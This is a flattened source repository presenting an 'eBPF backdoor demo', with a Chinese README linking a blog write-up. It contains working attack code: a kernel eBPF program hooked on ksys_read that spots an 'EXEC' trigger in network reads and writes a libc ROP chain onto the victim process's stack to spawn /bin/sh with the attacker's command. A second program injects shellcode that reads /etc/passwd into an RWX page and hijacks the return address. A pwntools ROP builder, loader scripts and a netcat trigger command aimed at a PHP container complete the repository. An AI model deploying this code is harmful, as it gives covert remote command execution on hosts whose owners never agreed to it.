├── .gitignore ├── CMakeLists.txt ├── README.md ├── bpf ├── backdoor_rop.c └── backdoor_rwx.c ├── cpo ├── libc_rop ├── main.py └── requirements.txt ├── loader_rop.c ├── loader_rop_trigger ├── loader_rwx.c ├── php_docker ├── docker-compose.yml └── index.php ├── run_rop └── run_rwx /.gitignore: -------------------------------------------------------------------------------- 1 | .idea/ 2 | cmake-build-debug/ 3 | bpf/vmlinux.h 4 | venv/ -------------------------------------------------------------------------------- /CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.28) 2 | project(ebpf_backdoor C) 3 | 4 | set(CMAKE_C_COMPILER clang) 5 | set(CMAKE_C_STANDARD 99) 6 | 7 | execute_process(COMMAND bpftool btf dump file /sys/kernel/btf/vmlinux format c OUTPUT_FILE "${CMAKE_SOURCE_DIR}/bpf/vmlinux.h") 8 | 9 | add_library(backdoor_rwx SHARED bpf/backdoor_rwx.c) 10 | target_compile_options(backdoor_rwx PRIVATE -target bpf -O2 -g) 11 | SET_TARGET_PROPERTIES(backdoor_rwx PROPERTIES RULE_LAUNCH_LINK 12 | "${CMAKE_SOURCE_DIR}/cpo ${CMAKE_BINARY_DIR} --" 13 | ) 14 | 15 | add_library(backdoor_rop SHARED bpf/backdoor_rop.c) 16 | target_compile_options(backdoor_rop PRIVATE -target bpf -O2 -g) 17 | SET_TARGET_PROPERTIES(backdoor_rop PROPERTIES RULE_LAUNCH_LINK 18 | "${CMAKE_SOURCE_DIR}/cpo ${CMAKE_BINARY_DIR} --" 19 | ) 20 | 21 | add_executable(loader_rwx loader_rwx.c) 22 | target_link_libraries(loader_rwx bpf) 23 | 24 | add_executable(loader_rop loader_rop.c) 25 | target_link_libraries(loader_rop bpf) 26 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ebpf backdoor demo 2 | 3 | eBPF backdoor demo, 详细介绍可以看 https://rmb122.com/2024/11/01/%E5%88%A9%E7%94%A8-eBPF-%E6%8A%80%E6%9C%AF%E9%9A%90%E8%97%8F%E5%90%8E%E9%97%A8%E7%A8%8B%E5%BA%8F/ 4 | 5 | ## 测试运行 6 | 7 | 需要比较新的内核, 在 6.11.9 上能够正常工作. 另外还需要相关工具链, 例如 llvm 等, 不再赘述. 8 | 9 | 1. 运行被攻击的容器 10 | ```shell 11 | cd php_docker/ 12 | docker-compose up -d 13 | ``` 14 | 15 | 2. 编译 & 注入后门 (如果不是 root 记得带上 sudo) 16 | ```shell 17 | ./run_rop 18 | ``` 19 | 20 | 3. 发送命令 21 | ```shell 22 | echo -e 'EXECecho 1 >/tmp/pwned\x00' | nc ${容器 IP} 80 23 | ``` 24 | 25 | 此时容器的 /tmp 底下应该会生成 pwned 文件. 需要注意命令的最大长度只有 27, 太长的命令无法正常运行. 26 | 要改长的话可以修改 backdoor_rop.c 文件的 `char buffer[32];` 到更长的值, 不过不一定能够编译. 27 | -------------------------------------------------------------------------------- /bpf/backdoor_rop.c: -------------------------------------------------------------------------------- 1 | #define __TARGET_ARCH_x86 2 | 3 | #include "vmlinux.h" 4 | #include 5 | #include 6 | #include 7 | 8 | struct bpf_iter_task_vma; 9 | 10 | extern int bpf_iter_task_vma_new(struct bpf_iter_task_vma *it, 11 | struct task_struct *task, 12 | __u64 addr) __ksym; 13 | 14 | extern struct vm_area_struct *bpf_iter_task_vma_next(struct bpf_iter_task_vma *it) __ksym; 15 | 16 | extern void bpf_iter_task_vma_destroy(struct bpf_iter_task_vma *it) __ksym; 17 | 18 | static int match_command(char *buffer) { 19 | if (buffer[0] != 'E' || buffer[1] != 'X' || buffer[2] != 'E' || buffer[3] != 'C') { 20 | return 0; 21 | } 22 | return 1; 23 | } 24 | 25 | SEC("fexit/ksys_read") 26 | int BPF_PROG(backdoor_rop, unsigned int _, char *read_buf, size_t count, int ret) { 27 | if (ret <= 0) { 28 | return 0; 29 | } 30 | 31 | char buffer[32]; 32 | int size; 33 | if (ret >= sizeof(buffer)) { 34 | size = sizeof(buffer) - 1; 35 | } else { 36 | size = ret; 37 | } 38 | bpf_core_read_user(buffer, size, read_buf); 39 | buffer[size] = '\0'; 40 | 41 | // bpf_printk("size: %d, buffer: %s", size, buffer); 42 | if (!match_command(buffer)) { 43 | return 0; 44 | } 45 | char *command = &buffer[4]; 46 | 47 | bpf_printk("bpf prog hook read success\n"); 48 | bpf_printk("command: %s", command); 49 | 50 | struct task_struct *curr_task = (struct task_struct *) bpf_get_current_task_btf(); 51 | bpf_printk("bpf pid %d", curr_task->pid); 52 | struct mm_struct *mm = curr_task->mm; 53 | bpf_printk("mm addr %lx", mm); 54 | bpf_printk("mmap_base addr %lx", mm->mmap_base); 55 | 56 | struct bpf_iter_task_vma vma_it; 57 | struct vm_area_struct *vma_ptr; 58 | bpf_iter_task_vma_new(&vma_it, curr_task, 0); 59 | 60 | int found = 0; 61 | char filename_buf[32]; 62 | struct file *vm_file; 63 | struct qstr filename_qstr; 64 | int read_len; 65 | char *libc_base = NULL; 66 | 67 | // 这个一定需要, 不然程序尺寸会过大 68 | #pragma unroll 69 | for (int i = 0; i < 512; i++) { 70 | vma_ptr = bpf_iter_task_vma_next(&vma_it); 71 | vm_file = BPF_CORE_READ(vma_ptr, vm_file); 72 | if (vm_file) { 73 | filename_qstr = BPF_CORE_READ(vm_file, f_path.dentry, d_name); 74 | read_len = filename_qstr.len; 75 | if (read_len >= sizeof(filename_buf)) { 76 | read_len = sizeof(filename_buf) - 1; 77 | } 78 | bpf_core_read(filename_buf, read_len, filename_qstr.name); 79 | filename_buf[read_len] = '\x00'; 80 | // bpf_printk("mmap vm_file %s", filename_buf); 81 | 82 | if (bpf_strncmp(filename_buf, sizeof(filename_buf), "libc-2.31.so") == 0) { 83 | found = 1; 84 | libc_base = (char *) BPF_CORE_READ(vma_ptr, vm_start); 85 | break; 86 | } 87 | } 88 | } 89 | 90 | bpf_iter_task_vma_destroy(&vma_it); 91 | 92 | if (!found) { 93 | bpf_printk("libc not found!"); 94 | return 0; 95 | } 96 | 97 | bpf_printk("libc found, base %lx", libc_base); 98 | 99 | struct pt_regs *regs = (struct pt_regs *) bpf_task_pt_regs(curr_task); 100 | // 逆天 libpthread read 没有用 rbp, 直接拿 rsp 算的 rbp 101 | // void *rbp = (void *) PT_REGS_FP(regs); 102 | // char *ret_addr = rbp + sizeof(rbp); 103 | // bpf_printk("rbp addr %lx", rbp); 104 | char *ret_addr = (void *) PT_REGS_SP(regs); 105 | bpf_printk("rsp addr %lx", PT_REGS_SP(regs)); 106 | bpf_printk("rip addr %lx", PT_REGS_IP(regs)); 107 | 108 | const int gadgets_length = 12; 109 | void *gadgets[] = { 110 | (void *) libc_base + 821965, 111 | (void *) 0, 112 | libc_base + 153871, 113 | (void *) ret_addr + 56, 114 | libc_base + 145302, 115 | (void *) ret_addr + 96, 116 | libc_base + 823232, 117 | (void *) ret_addr + 96, 118 | (void *) ret_addr + 104, 119 | (void *) ret_addr + 112, 120 | (void *) ret_addr + 120, 121 | (void *) 0, 122 | }; 123 | char constants[] = "/bin/sh\x00-p\x00$$$$$-c\x00$$$$$"; 124 | 125 | #pragma unroll 126 | for (int i = 0; i < gadgets_length; i++) { 127 | bpf_probe_write_user(ret_addr + sizeof(ret_addr) * i, &gadgets[i], sizeof(gadgets[i])); 128 | //bpf_printk("override gadget %lx status %d", ret_addr + sizeof(ret_addr) * i, status); 129 | } 130 | bpf_probe_write_user(ret_addr + sizeof(ret_addr) * gadgets_length, constants, sizeof(constants)); 131 | //bpf_printk("override constant %lx status %d", ret_addr + sizeof(ret_addr) * gadgets_length, status); 132 | 133 | // -1 去掉末尾的 \0 134 | bpf_probe_write_user(ret_addr + sizeof(ret_addr) * gadgets_length + sizeof(constants) - 1, command, buffer + sizeof(buffer) - command); 135 | return 0; 136 | } 137 | 138 | char _license[] SEC("license") = "GPL"; -------------------------------------------------------------------------------- /bpf/backdoor_rwx.c: -------------------------------------------------------------------------------- 1 | #define __TARGET_ARCH_x86 2 | 3 | #include "vmlinux.h" 4 | #include 5 | #include 6 | #include 7 | 8 | // https://github.com/torvalds/linux/blob/master/include/linux/mm.h#L275 9 | // https://github.com/torvalds/linux/blob/master/fs/proc/task_mmu.c#L304 10 | /* 11 | * vm_flags in vm_area_struct, see mm_types.h. 12 | * When changing, update also include/trace/events/mmflags.h 13 | */ 14 | #define VM_NONE 0x00000000 15 | 16 | #define VM_READ 0x00000001 /* currently active flags */ 17 | #define VM_WRITE 0x00000002 18 | #define VM_EXEC 0x00000004 19 | #define VM_SHARED 0x00000008 20 | 21 | struct bpf_iter_task_vma; 22 | 23 | extern int bpf_iter_task_vma_new(struct bpf_iter_task_vma *it, 24 | struct task_struct *task, 25 | __u64 addr) __ksym; 26 | 27 | extern struct vm_area_struct *bpf_iter_task_vma_next(struct bpf_iter_task_vma *it) __ksym; 28 | 29 | extern void bpf_iter_task_vma_destroy(struct bpf_iter_task_vma *it) __ksym; 30 | 31 | SEC("syscall") 32 | int backdoor_rwx() { 33 | bpf_printk("bpf prog run success\n"); 34 | 35 | struct task_struct *curr_task = (struct task_struct *) bpf_get_current_task_btf(); 36 | bpf_printk("bpf pid %d", curr_task->pid); 37 | 38 | struct mm_struct *mm = curr_task->mm; 39 | bpf_printk("mm addr %lx", mm); 40 | bpf_printk("mmap_base addr %lx", mm->mmap_base); 41 | 42 | struct bpf_iter_task_vma vma_it; 43 | struct vm_area_struct *vma_ptr; 44 | bpf_iter_task_vma_new(&vma_it, curr_task, 0); 45 | 46 | int found = 0; 47 | for (int i = 0; i < 128; i++) { 48 | vma_ptr = bpf_iter_task_vma_next(&vma_it); 49 | vm_flags_t vm_flag = BPF_CORE_READ(vma_ptr, vm_flags); 50 | struct anon_vma *anon_vma = BPF_CORE_READ(vma_ptr, anon_vma); 51 | // 需要 anon_vma != null, 代表这个物理页已经被分配了 52 | 53 | if ((vm_flag & VM_READ) > 0 && (vm_flag & VM_WRITE) > 0 && (vm_flag & VM_EXEC) > 0 && anon_vma != NULL) { 54 | found = 1; 55 | break; 56 | } 57 | } 58 | 59 | bpf_iter_task_vma_destroy(&vma_it); 60 | 61 | if (!found) { 62 | bpf_printk("rwx page not found!"); 63 | return 0; 64 | } 65 | 66 | void *rwx_start = (void *) BPF_CORE_READ(vma_ptr, vm_start); 67 | bpf_printk("vm addr %lx", rwx_start); 68 | 69 | long long data; 70 | bpf_probe_read(&data, sizeof(data), rwx_start); 71 | bpf_printk("rwx_start_data %lx", data); 72 | 73 | // shell code => cat /etc/passwd; exit; 74 | char shellcode[] = "\x68\x72\x76\x65\x01\x81\x34\x24\x01\x01\x01\x01\x48\xb8\x2f\x65\x74\x63\x2f\x70\x61\x73\x50\x6a\x02\x58\x48\x89\xe7\x31\xf6\x0f\x05\x41\xba\xff\xff\xff\x7f\x48\x89\xc6\x6a\x28\x58\x6a\x01\x5f\x99\x0f\x05" 75 | "\x31\xff\x31\xc0\xb0\xe7\x0f\x05"; 76 | long status = bpf_probe_write_user(rwx_start, &shellcode, sizeof(shellcode)); 77 | bpf_printk("write shellcode status %d", status); 78 | 79 | bpf_probe_read(&data, sizeof(data), rwx_start); 80 | bpf_printk("rwx_start_data %lx", data); 81 | 82 | struct pt_regs *regs = (struct pt_regs *) bpf_task_pt_regs(curr_task); 83 | void *rbp = (void *) PT_REGS_FP(regs); 84 | bpf_printk("rbp %lx", rbp); 85 | 86 | void *ret_addr; 87 | bpf_probe_read(&ret_addr, sizeof(ret_addr), rbp + sizeof(rbp)); 88 | bpf_printk("ret_addr %lx", ret_addr); 89 | 90 | status = bpf_probe_write_user(rbp + sizeof(rbp), &rwx_start, sizeof(rwx_start)); 91 | bpf_printk("write ret_addr status %d", status); 92 | return 0; 93 | } 94 | 95 | char _license[] SEC("license") = "GPL"; -------------------------------------------------------------------------------- /cpo: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | d=$1; shift 3 | while [ "$1" != "--" ]; do 4 | cp $1 $d/$(basename $1); shift 5 | done -------------------------------------------------------------------------------- /libc_rop/main.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import sys 3 | 4 | context.clear(arch='amd64') 5 | 6 | binary = ELF(sys.argv[1]) 7 | rop = ROP(binary, base=0) 8 | 9 | rop.call('execve', [b'/bin/sh', [[b'/bin/sh'], [b'-p'], [b'-c'], [b'touch /tmp/pwned'], 0], 0]) 10 | 11 | result = rop.build() 12 | print(result) 13 | print(result.dump()) 14 | -------------------------------------------------------------------------------- /libc_rop/requirements.txt: -------------------------------------------------------------------------------- 1 | -i https://mirrors.ustc.edu.cn/pypi/web/simple 2 | 3 | pwntools==4.13.1 4 | -------------------------------------------------------------------------------- /loader_rop.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | char *read_all(FILE *fp) { 8 | size_t current_size = 1024; 9 | size_t current_pos = 0; 10 | char *buffer = malloc(current_size); 11 | 12 | while (!feof(fp)) { 13 | current_pos += fread(buffer + current_pos, 1, current_size - current_pos, fp); 14 | if (current_pos == current_size) { 15 | current_size *= 2; 16 | buffer = realloc(buffer, current_size); 17 | } 18 | } 19 | 20 | buffer[current_pos + 1] = '\0'; 21 | return buffer; 22 | } 23 | 24 | int main(void) { 25 | printf("pid: %d\n", getpid()); 26 | 27 | FILE *maps = fopen("/proc/self/maps", "r"); 28 | char *content = read_all(maps); 29 | fclose(maps); 30 | printf("%s\n", content); 31 | free(content); 32 | 33 | maps = fopen("./loader_rop_trigger", "r"); 34 | content = read_all(maps); 35 | fclose(maps); 36 | printf("%s\n", content); 37 | free(content); 38 | return 0; 39 | } 40 | -------------------------------------------------------------------------------- /loader_rop_trigger: -------------------------------------------------------------------------------- 1 | EXECtest -------------------------------------------------------------------------------- /loader_rwx.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | char *read_all(FILE *fp) { 8 | size_t current_size = 1024; 9 | size_t current_pos = 0; 10 | char *buffer = malloc(current_size); 11 | 12 | while (!feof(fp)) { 13 | current_pos += fread(buffer + current_pos, 1, current_size - current_pos, fp); 14 | if (current_pos == current_size) { 15 | current_size *= 2; 16 | buffer = realloc(buffer, current_size); 17 | } 18 | } 19 | 20 | buffer[current_pos + 1] = '\0'; 21 | return buffer; 22 | } 23 | 24 | void make_rwx_mem() { 25 | char *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 26 | printf("rwx page: %p\n", addr); 27 | addr[3] = '\xde'; 28 | addr[2] = '\xad'; 29 | addr[1] = '\xbe'; 30 | addr[0] = '\xef'; 31 | } 32 | 33 | int main(void) { 34 | printf("pid: %d\n", getpid()); 35 | 36 | make_rwx_mem(); 37 | FILE *maps = fopen("/proc/self/maps", "r"); 38 | char *content = read_all(maps); 39 | fclose(maps); 40 | printf("%s\n", content); 41 | free(content); 42 | 43 | int fd = bpf_obj_get("/sys/fs/bpf/ebpf_backdoor_rwx"); 44 | int ctx_in = 1234; 45 | struct bpf_test_run_opts ops = { 46 | .sz = sizeof(struct bpf_test_run_opts), 47 | .ctx_in = &ctx_in, 48 | .ctx_size_in = 4, 49 | }; 50 | int ret = bpf_prog_test_run_opts(fd, &ops); 51 | printf("bpf ret code: %d\n", ret); 52 | return 0; 53 | } 54 | -------------------------------------------------------------------------------- /php_docker/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3" 2 | 3 | services: 4 | php: 5 | image: php:7.4-apache-bullseye 6 | volumes: 7 | - ./index.php:/var/www/html/index.php 8 | -------------------------------------------------------------------------------- /php_docker/index.php: -------------------------------------------------------------------------------- 1 | hello -------------------------------------------------------------------------------- /run_rop: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | rm /sys/fs/bpf/ebpf_backdoor_rop 4 | 5 | mkdir -p ./cmake-build-debug && \ 6 | cmake -B ./cmake-build-debug && \ 7 | cmake --build ./cmake-build-debug && \ 8 | bpftool prog load cmake-build-debug/backdoor_rop.c.o /sys/fs/bpf/ebpf_backdoor_rop autoattach && \ 9 | ./cmake-build-debug/loader_rop 10 | 11 | # rm /sys/fs/bpf/ebpf_backdoor_rop 12 | -------------------------------------------------------------------------------- /run_rwx: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | rm /sys/fs/bpf/ebpf_backdoor_rwx 4 | 5 | mkdir -p ./cmake-build-debug && \ 6 | cmake -B ./cmake-build-debug && \ 7 | cmake --build ./cmake-build-debug && \ 8 | bpftool prog load cmake-build-debug/backdoor_rwx.c.o /sys/fs/bpf/ebpf_backdoor_rwx && \ 9 | ./cmake-build-debug/loader_rwx 10 | 11 | rm /sys/fs/bpf/ebpf_backdoor_rwx 12 | 13 | # bpftool prog run pinned /sys/fs/bpf/ebpf_backdoor_rwx repeat 0 14 | --------------------------------------------------------------------------------